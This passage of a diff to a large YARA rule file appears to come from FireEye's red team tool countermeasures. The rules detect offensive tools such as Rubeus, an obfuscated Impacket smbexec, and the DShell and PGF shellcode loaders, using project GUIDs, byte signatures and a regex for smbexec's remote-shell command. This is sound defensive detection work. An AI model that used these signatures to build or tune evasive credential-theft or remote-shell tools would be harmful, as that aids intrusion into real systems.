0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_Tool_MSIL_Sharpgrep_1 : FILE +rule FIREEYE_RT_Hacktool_MSIL_Rubeus_1 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharpGrep' project." + description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the public Rubeus project." author = "FireEye" - id = "c7569d33-f57d-5f9c-aa2a-78866c680b5b" + id = "0ca140ea-2b9f-5904-a4c0-8615229626f0" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPPGREP/production/yara/Tool_MSIL_SharpGrep_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/RUBEUS/production/yara/HackTool_MSIL_Rubeus_1.yar#L4-L15" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "c22bfc50b3ab3c4082006aad3c3c89684cffe1e429b001b0bb08758856a47d04" + hash = "66e0681a500c726ed52e5ea9423d2654" + logic_hash = "ad954f9922ab564d68cb4515b080f6ee69476a8d87f0038e2ae4c222f0e182d7" score = 75 quality = 73 tags = "FILE" - rev = 1 + rev = 4 strings: - $typelibguid0 = "f65d75b5-a2a6-488f-b745-e67fc075f445" ascii nocase wide + $typelibguid = "658C8B7F-3664-4A95-9572-A3E5871DFC06" ascii nocase wide condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + uint16( 0 ) == 0x5A4D and $typelibguid } -rule FIREEYE_RT_APT_Hacktool_MSIL_NOAMCI_1 : FILE +rule FIREEYE_RT_Trojan_Macro_RESUMEPLEASE_1 { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'noamci' project." + description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "48066258-528f-5a70-81e1-15d6dfd9ff4f" - date = "2020-12-08" + id = "068662f6-28b8-5538-8bc3-6506565305ae" + date = "2020-12-01" + date = "2020-12-01" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/NOAMCI/production/yara/APT_HackTool_MSIL_NOAMCI_1.yar#L4-L16" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/RESUMEPLEASE/production/yara/Trojan_Macro_RESUMEPLEASE_1.yar#L4-L21" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "6278cfb4e9af20bbe943f4b99227c7fba276315a9f0059575b3ed4ef96a848c4" + hash = "d5d3d23c8573d999f1c48d3e211b1066" + logic_hash = "040457bc446e496431129ff4623ddda5d9c2ce339ba65a7fbe42114626f36c60" score = 75 - quality = 71 - tags = "FILE" - rev = 4 + quality = 75 + tags = "" + rev = 1 strings: - $typelibguid0 = "7bcccf21-7ecd-4fd4-8f77-06d461fd4d51" ascii nocase wide - $typelibguid1 = "ef86214e-54de-41c3-b27f-efc61d0accc3" ascii nocase wide + $str00 = "For Binary As" + $str01 = "Range.Text" + $str02 = "Environ(" + $str03 = "CByte(" + $str04 = ".SpawnInstance_" + $str05 = ".Create(" condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + all of them } rule FIREEYE_RT_APT_Loader_Win32_Dshell_3 : FILE { @@ -78276,61 +78057,61 @@ rule FIREEYE_RT_APT_Loader_Win32_Dshell_3 : FILE condition: ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them } -rule FIREEYE_RT_APT_Loader_Win32_Dshell_2 : FILE +rule FIREEYE_RT_APT_Loader_Win32_Dshell_1 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "ae34d547-d979-5ce2-bcf8-a5b4e4567de3" + id = "dad763bd-0e4a-542a-9920-ece11d23ce24" date = "2020-11-27" date = "2020-11-27" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DSHELL/production/yara/APT_Loader_Win32_DShell_2.yar#L4-L21" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DSHELL/production/yara/APT_Loader_Win32_DShell_1.yar#L4-L20" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "590d98bb74879b52b97d8a158af912af" - logic_hash = "958ff45add46c0a43e839e8007c1d9296ee89ddd8c045b8ec6b031b225207a6c" + hash = "12c3566761495b8353f67298f15b882c" + logic_hash = "79643f9c252765647d80f6fe1ee7bb698fbc6a6c3a0ff1fd819a09bff031907c" score = 75 quality = 75 tags = "FILE" - rev = 2 + rev = 1 strings: $sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 } + $sb2 = { FF 7? 0C B? [4-16] FF 7? 08 5? [0-12] E8 [4] 84 C0 74 05 B? 01 00 00 00 [0-16] 80 F2 01 0F 84 } $ss1 = "\x00CreateThread\x00" $ss2 = "base64.d" fullword $ss3 = "core.sys.windows" fullword - $ss4 = "C:\\Users\\config.ini" fullword - $ss5 = "Invalid config file" fullword condition: ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them } -rule FIREEYE_RT_APT_Loader_Win32_Dshell_1 : FILE +rule FIREEYE_RT_APT_Loader_Win32_Dshell_2 : FILE { meta: description = "No description has been set in the source file - FireEye-RT" author = "FireEye" - id = "dad763bd-0e4a-542a-9920-ece11d23ce24" + id = "ae34d547-d979-5ce2-bcf8-a5b4e4567de3" date = "2020-11-27" date = "2020-11-27" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DSHELL/production/yara/APT_Loader_Win32_DShell_1.yar#L4-L20" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DSHELL/production/yara/APT_Loader_Win32_DShell_2.yar#L4-L21" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "12c3566761495b8353f67298f15b882c" - logic_hash = "79643f9c252765647d80f6fe1ee7bb698fbc6a6c3a0ff1fd819a09bff031907c" + hash = "590d98bb74879b52b97d8a158af912af" + logic_hash = "958ff45add46c0a43e839e8007c1d9296ee89ddd8c045b8ec6b031b225207a6c" score = 75 quality = 75 tags = "FILE" - rev = 1 + rev = 2 strings: $sb1 = { 6A 40 68 00 30 00 00 [4-32] E8 [4-8] 50 [0-16] E8 [4-150] 6A FF [1-32] 6A 00 6A 00 5? 6A 00 6A 00 [0-32] E8 [4] 50 } - $sb2 = { FF 7? 0C B? [4-16] FF 7? 08 5? [0-12] E8 [4] 84 C0 74 05 B? 01 00 00 00 [0-16] 80 F2 01 0F 84 } $ss1 = "\x00CreateThread\x00" $ss2 = "base64.d" fullword $ss3 = "core.sys.windows" fullword + $ss4 = "C:\\Users\\config.ini" fullword + $ss5 = "Invalid config file" fullword condition: ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and all of them @@ -78476,249 +78257,415 @@ rule FIREEYE_RT_APT_Backdoor_Win_Dshell_2 : FILE condition: ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and filesize > 500KB and filesize > 700KB and all of ( $s* ) and 1 of ( $dlang* ) and not $ign1 and not $ign2 } -rule FIREEYE_RT_Loader_MSIL_Sharpy_1 : FILE +rule FIREEYE_RT_APT_Loader_MSIL_PGF_2 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'SharPy' project." + description = "base.js, ./lib/payload/techniques/jscriptdotnet/jscriptdotnet_payload.py" author = "FireEye" - id = "7c7bda22-bacc-5901-a650-a30c9cfcdee7" - date = "2020-12-08" + id = "c5f2ec90-cd9b-53ce-893b-e44192fcd507" + date = "2020-11-25" + date = "2020-11-25" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/SHARPY/production/yara/Loader_MSIL_SharPy_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_MSIL_PGF_2.yar#L4-L20" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "0f73fab3905b4961b8dbeb120d45a34a2383ecdaae0296f38e34f8b7ab4aeee8" + hash = "7c2a06ceb29cdb25f24c06f2a8892fba" + logic_hash = "b962ea30c063009c0383e25edda3a65202bea4496d0d6228549dcea82bba0d03" score = 75 - quality = 73 + quality = 75 tags = "FILE" rev = 1 strings: - $typelibguid0 = "f6cf1d3b-3e43-4ecf-bb6d-6731610b4866" ascii nocase wide + $sb1 = { 2? 00 10 00 00 0A 1? 40 0? 72 [4] 0? 0? 28 [2] 00 0A 0? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 0? 74 [2] 00 01 28 [2] 00 0A 6? 0? 0? 28 [2] 00 06 D0 [2] 00 01 28 [2] 00 0A 1? 28 [2] 00 0A 79 [2] 00 01 71 [2] 00 01 13 ?? 0? 1? 11 ?? 0? 74 [2] 00 01 28 [2] 00 0A 28 [2] 00 0A 7E [2] 00 0A 13 ?? 1? 13 ?? 7E [2] 00 0A 13 ?? 03 28 [2] 00 0A 74 [2] 00 01 6F [2] 00 0A 03 1? 1? 11 ?? 11 ?? 1? 11 ?? 28 [2] 00 06 } + $ss1 = "\x00CreateThread\x00" + $ss2 = "\x00ScriptObjectStackTop\x00" + $ss3 = "\x00Microsoft.JScript\x00" condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them } -rule FIREEYE_RT_APT_Hacktool_MSIL_DTRIM_1 : FILE +rule FIREEYE_RT_APT_Loader_Win64_PGF_5 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'dtrim' project, which is a modified version of SharpSploit." + description = "PGF payload, generated rule based on symfunc/8167a6d94baca72bac554299d7c7f83c" author = "FireEye" - id = "9be695a1-6d18-5952-974c-96a30f035e7a" + id = "4fa4a1d6-cb63-582d-801c-b4c89c44d9ca" date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/DTRIM/production/yara/APT_HackTool_MSIL_DTRIM_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_5.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "357c1f76631ec9ee342995cd12369fd9ff18c541bffe6f5464b1e8db45057196" + hash = "150224a0ccabce79f963795bf29ec75b" + logic_hash = "16495ad1e5ce4d4a79f4067f3d687911a1a0a3bfe4c6409ff9de4d111b1ddca6" score = 75 - quality = 73 + quality = 75 tags = "FILE" - rev = 2 + rev = 3 strings: - $typelibguid0 = "7760248f-9247-4206-be42-a6952aa46da2" ascii nocase wide + $cond1 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 13 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 66 23 00 00 48 8B 4C 24 40 FF 15 EB F9 FF FF B8 01 00 00 00 48 83 C4 38 C3 } + $cond2 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF 15 A3 FA FF FF 8B 44 24 48 89 44 24 20 83 7C 24 20 01 74 02 EB 17 48 8B 44 24 40 48 89 05 F6 20 00 00 48 8B 4C 24 40 FF 15 7B FA FF FF B8 01 00 00 00 48 83 C4 38 C3 } + $cond3 = { 4C 89 44 24 18 89 54 24 10 48 89 4C 24 08 48 83 EC 38 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? 8B 44 24 48 89 44 24 20 83 7C 24 2? ?1 74 ?? EB ?? 48 8B 44 24 40 48 ?? ?? ?? ?? ?? ?? 48 8B 4C 24 40 FF ?? ?? ?? ?? ?? B8 01 ?? ?? ?? 48 83 C4 38 C3 } + $cond4 = { 4C 89 44 24 ?? 89 54 24 ?? 48 89 4C 24 ?? 48 83 EC 38 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 83 7C 24 ?? 01 74 ?? EB ?? 48 8B 44 24 ?? 48 89 05 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? B8 01 00 00 00 48 83 C4 38 C3 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and any of them } -rule FIREEYE_RT_Hacktool_MSIL_Prepshellcode_1 : FILE +rule FIREEYE_RT_APT_Loader_Win64_PGF_2 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'PrepShellcode' project." + description = "base dlls: /lib/payload/techniques/dllmain/" author = "FireEye" - id = "32fb6b1d-e01f-5555-8516-088dca2166cf" - date = "2020-12-08" + id = "5253cb2a-28fd-57ab-be3d-f11cf2ea24cf" + date = "2020-11-25" + date = "2020-11-25" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PREPSHELLCODE/production/yara/HackTool_MSIL_PrepShellcode_1.yar#L4-L15" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win64_PGF_2.yar#L4-L19" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "dd8805d0e470e59b829d98397507d8c2" - logic_hash = "aedae87d84275f6589c982c04175ddc0aee3e4f3ae959ced4b4e2294675522e6" + hash = "4326a7e863928ffbb5f6bdf63bb9126e" + logic_hash = "074f6d9ad78ecd4dd8e3d0b5c8b0f61a48374f3935b85c4222305b207b447ec7" score = 75 - quality = 73 + quality = 75 tags = "FILE" rev = 2 strings: - $typelibguid0 = "d16ed275-70d5-4ae5-8ce7-d249f967616c" ascii nocase wide + $sb1 = { B9 [4] FF 15 [4-32] 8B ?? 1C [0-16] 0F B? ?? 04 [0-64] F3 0F 6F 00 [0-64] 66 0F EF C8 [0-64] F3 0F 7F 08 [0-64] 30 ?? 48 8D 40 01 48 83 ?? 01 7? } + $sb2 = { 44 8B ?? 08 [0-32] 41 B8 00 30 00 00 [0-16] FF 15 [4-32] 48 8B C8 [0-16] E8 [4-64] 4D 8D 49 01 [0-32] C1 ?? 04 [0-64] 0F B? [2-16] 41 30 ?? FF 45 3? ?? 7? } + $sb3 = { 63 ?? 3C [0-16] 03 [1-32] 0F B? ?? 14 [0-16] 8D ?? 18 [0-16] 03 [1-16] 66 ?? 3B ?? 06 7? [1-64] 48 8D 15 [4-32] FF 15 [4-16] 85 C0 [2-32] 41 0F B? ?? 06 } condition: - ( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x020B ) and all of them } -rule FIREEYE_RT_Hacktool_PY_Impacketobfuscation_1 +rule FIREEYE_RT_APT_Loader_Win32_PGF_5 : FILE { meta: - description = "smbexec" + description = "PGF payload, generated rule based on symfunc/a86b004b5005c0bcdbd48177b5bac7b8" author = "FireEye" - id = "992d1132-3136-5e1b-a1ef-dcdf36ebf0f5" - date = "2020-12-01" - date = "2020-12-01" + id = "376875f3-00f2-58d0-ae22-7f52ea566da2" + date = "2020-12-08" modified = "2020-12-09" reference = "https://github.com/mandiant/red_team_tool_countermeasures/" - source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/IMPACKETOBF (Smbexec)/production/yara/HackTool_PY_ImpacketObfuscation_1.yar#L4-L22" + source_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/rules/PGF/production/yara/APT_Loader_Win32_PGF_5.yar#L4-L18" license_url = "https://github.com/mandiant/red_team_tool_countermeasures//blob/3561b71724dbfa3e2bb78106aaa2d7f8b892c43b/LICENSE.txt" - hash = "0b1e512afe24c31531d6db6b47bac8ee" - logic_hash = "45a4c0426b29b8c8bede9c4e8292131da7e756d48fc3ac4a07d08fd52383d21e" + hash = "8c91a27bbdbe9fb0877daccd28bd7bb5" + logic_hash = "dfff615a1d329cf181294f7b0a32c11a21d66ff8a6aa6b9fcd183c9738369623" score = 75 - quality = 50 - tags = "" - rev = 1 + quality = 75 + tags = "FILE" + rev = 3 strings: - $s1 = "class CMDEXEC" nocase - $s2 = "class RemoteShell" nocase - $s3 = "self.services_names" - $s4 = "import random" - $s6 = /self\.__shell[\x09\x20]{0,32}=[\x09\x20]{0,32}[\x22\x27]%CoMSpEC%[\x09\x20]{1,32}\/q[\x09\x20]{1,32}\/K [\x22\x27]/ nocase - $s7 = /self\.__serviceName[\x09\x20]{0,32}=[\x09\x20]{0,32}self\.services_names\[random\.randint\([\x09\x20]{0,32}0[\x09\x20]{0,32},[\x09\x20]{0,32}len\(self\.services_names\)[\x09\x20]{0,32}-[\x09\x20]{0,32}1\)\]/ + $cond1 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 10 30 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 5C 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 00 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 } + $cond2 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 00 30 00 10 33 C5 89 45 E0 56 C7 45 F8 00 00 00 00 C6 85 D8 FE FF FF 00 68 03 01 00 00 6A 00 8D 85 D9 FE FF FF 50 E8 F9 07 00 00 83 C4 0C C7 45 F4 00 00 00 00 C6 45 E7 00 C7 45 E8 00 00 00 00 C7 45 EC 00 00 00 00 C7 45 FC 00 00 00 00 C7 45 F0 00 00 00 00 6A 01 6A 00 8D 8D D8 FE FF FF 51 6A 00 68 9C 10 00 10 8B 15 20 33 00 10 52 E8 31 01 00 00 89 45 F8 6A 14 FF 15 58 10 00 10 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 C2 0C 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF 00 00 00 00 EB 0F 8B 85 D4 FE FF FF 83 C0 01 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D 1F 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB C9 8B 55 F8 8B 42 08 89 45 FC 6A 40 68 00 30 00 00 8B 4D FC 51 6A 00 FF 15 2C 10 00 10 89 45 EC 8B 55 FC 52 8B 45 F8 83 C0 20 50 8B 4D EC 51 E8 F0 06 00 00 83 C4 0C C7 85 D0 FE FF FF 00 00 00 00 EB 0F 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 30 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE 14 00 00 00 F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB B6 8B 4D EC 89 4D F0 FF 55 F0 5E 8B 4D E0 33 CD E8 6D 06 00 00 8B E5 5D C3 } + $cond3 = { 8B FF 55 8B EC 81 EC 30 01 00 00 A1 ?? ?? ?? ?? 33 C5 89 45 ?? 56 C7 45 ?? 00 00 00 00 C6 85 ?? ?? ?? ?? 00 68 03 01 00 00 6A 00 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 ?? 00 00 00 00 C6 45 ?? 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 C7 45 ?? 00 00 00 00 6A 01 6A 00 8D 8D ?? ?? ?? ?? 51 6A 00 68 9C 10 00 10 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 ?? 6A 14 FF 15 ?? ?? ?? ?? 83 C4 04 89 45 ?? 8B 45 ?? 8A 48 ?? 88 4D ?? 8B 55 ?? 83 C2 0C 8B 45 ?? 8B 0A 89 08 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 4A ?? 89 48 ?? 8B 52 ?? 89 50 ?? C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 85 ?? ?? ?? ?? 83 C0 01 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? 14 7D ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 11 0F B6 45 ?? 33 D0 8B 4D ?? 03 8D ?? ?? ?? ?? 88 11 EB ?? 8B 55 ?? 8B 42 ?? 89 45 ?? 6A 40 68 00 30 00 00 8B 4D ?? 51 6A 00 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 52 8B 45 ?? 83 C0 20 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 ?? ?? ?? ?? 00 00 00 00 EB ?? 8B 95 ?? ?? ?? ?? 83 C2 01 89 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 3B 45 ?? 73 ?? 8B 4D ?? 03 8D ?? ?? ?? ?? 0F B6 09 8B 85 ?? ?? ?? ?? 99 BE 14 00 00 00 F7 FE 8B 45 ?? 0F B6 14 10 33 CA 8B 45 ?? 03 85 ?? ?? ?? ?? 88 08 EB ?? 8B 4D ?? 89 4D ?? FF 55 ?? 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 } + $cond4 = { 8B FF 55 8B EC 81 EC 3? ?1 ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 E0 56 C7 45 F8 ?? ?? ?? ?? C6 85 D8 FE FF FF ?? 68 ?? ?? ?? ?? 6A ?? 8D 85 D9 FE FF FF 50 E8 ?? ?? ?? ?? 83 C4 0C C7 45 F4 ?? ?? ?? ?? C6 45 E7 ?? C7 45 E8 ?? ?? ?? ?? C7 45 EC ?? ?? ?? ?? C7 45 FC ?? ?? ?? ?? C7 45 F? ?? ?? ?? ?0 6A ?? 6A ?? 8D 8D D8 FE FF FF 51 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 89 45 F8 6A ?? FF ?? ?? ?? ?? ?? 83 C4 04 89 45 E8 8B 45 F8 8A 48 04 88 4D E7 8B 55 F8 83 ?? ?? 8B 45 E8 8B 0A 89 08 8B 4A 04 89 48 04 8B 4A 08 89 48 08 8B 4A 0C 89 48 0C 8B 52 10 89 50 10 C7 85 D4 FE FF FF ?? ?? ?? ?? EB ?? 8B 85 D4 FE FF FF 83 C? ?1 89 85 D4 FE FF FF 83 BD D4 FE FF FF 14 7D ?? 8B 4D E8 03 8D D4 FE FF FF 0F B6 11 0F B6 45 E7 33 D0 8B 4D E8 03 8D D4 FE FF FF 88 11 EB ?? 8B 55 F8 8B 42 08 89 45 FC 6A ?? 68 ?? ?? ?? ?? 8B 4D FC 51 6A ?? FF ?? ?? ?? ?? ?? 89 45 EC 8B 55 FC 52 8B 45 F8 83 ?? ?? 50 8B 4D EC 51 E8 ?? ?? ?? ?? 83 C4 0C C7 85 D0 FE FF FF ?? ?? ?? ?? EB ?? 8B 95 D0 FE FF FF 83 C2 01 89 95 D0 FE FF FF 8B 85 D0 FE FF FF 3B 45 FC 73 ?? 8B 4D EC 03 8D D0 FE FF FF 0F B6 09 8B 85 D0 FE FF FF 99 BE ?? ?? ?? ?? F7 FE 8B 45 E8 0F B6 14 10 33 CA 8B 45 EC 03 85 D0 FE FF FF 88 08 EB ?? 8B 4D EC 89 4D F0 FF ?? ?? 5E 8B 4D E0 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 } condition: - all of them + ( uint16( 0 ) == 0x5A4D ) and ( uint32( uint32( 0x3C ) ) == 0x00004550 ) and ( uint16( uint32( 0x3C ) + 0x18 ) == 0x010B ) and any of them } -rule FIREEYE_RT_Loader_MSIL_Csharpsectioninjection_1 : FILE +rule FIREEYE_RT_APT_Loader_Win64_PGF_3 : FILE { meta: - description = "The TypeLibGUID present in a .NET binary maps directly to the ProjectGuid found in the '.csproj' file of a .NET project. This rule looks for .NET PE files that contain the ProjectGuid found in the 'C_Sharp_SectionInjection' project." + description = "PGF payload, generated rule based on symfunc/8a2f2236fdfaa3583ab89076025c6269. Identifies dllmain_hook x64 payloads." author = "FireEye" - id = "ca5bf5cd-1950-53ed-8984-e880a15e658e" + id = "340ea6d4-7111-520c-9bd4-0465a43ea235" date = "2020-12-08" modified = "2020-12-09" reference 